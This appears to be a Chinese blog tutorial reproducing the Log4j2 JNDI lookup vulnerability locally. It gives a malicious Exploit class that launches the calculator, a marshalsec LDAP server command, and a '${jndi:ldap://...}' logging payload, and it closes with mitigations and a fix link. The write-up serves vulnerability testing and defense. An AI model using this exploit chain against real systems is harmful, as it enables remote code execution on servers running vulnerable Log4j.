Log4j2简介
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。
受影响版本:2.x <= 2.14.1
漏洞复现
1.创建maven项目,导入Log4j依赖。
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
2.创建一恶意类Exploit.java
public class Exploit {
static {
System.err.println("Turn on the calculator!");
try {
Runtime.getRuntime().exec("calc");
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
注意:Exploit类中除了这些代码不要有其他东西,尤其是
package
和import
。
3.编译得到Exploit.class
javac Exploit.java
4.使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8888
启动成功如下图所示:
5.编写测试类测试
package cn.itmtr.log4jtest;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTestApplication {
public static Logger log = LogManager.getLogger();
public static void main(String[] args) {
log.error("${jndi:ldap://127.0.0.1:8888/Exploit}");
}
}
项目地址
https://gitee.com/itmtr/log4j_test_ldap
解决方案
紧急缓解措施:
- 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
- 修改配置log4j2.formatMsgNoLookups=True
- 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
修复方案:
检查所有使用了 Log4j2 组件的系统,官方修复链接如下:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
注意
本文章仅为复现问题,查看项目中是否存在此问题,不可用作其他,否则后果自负。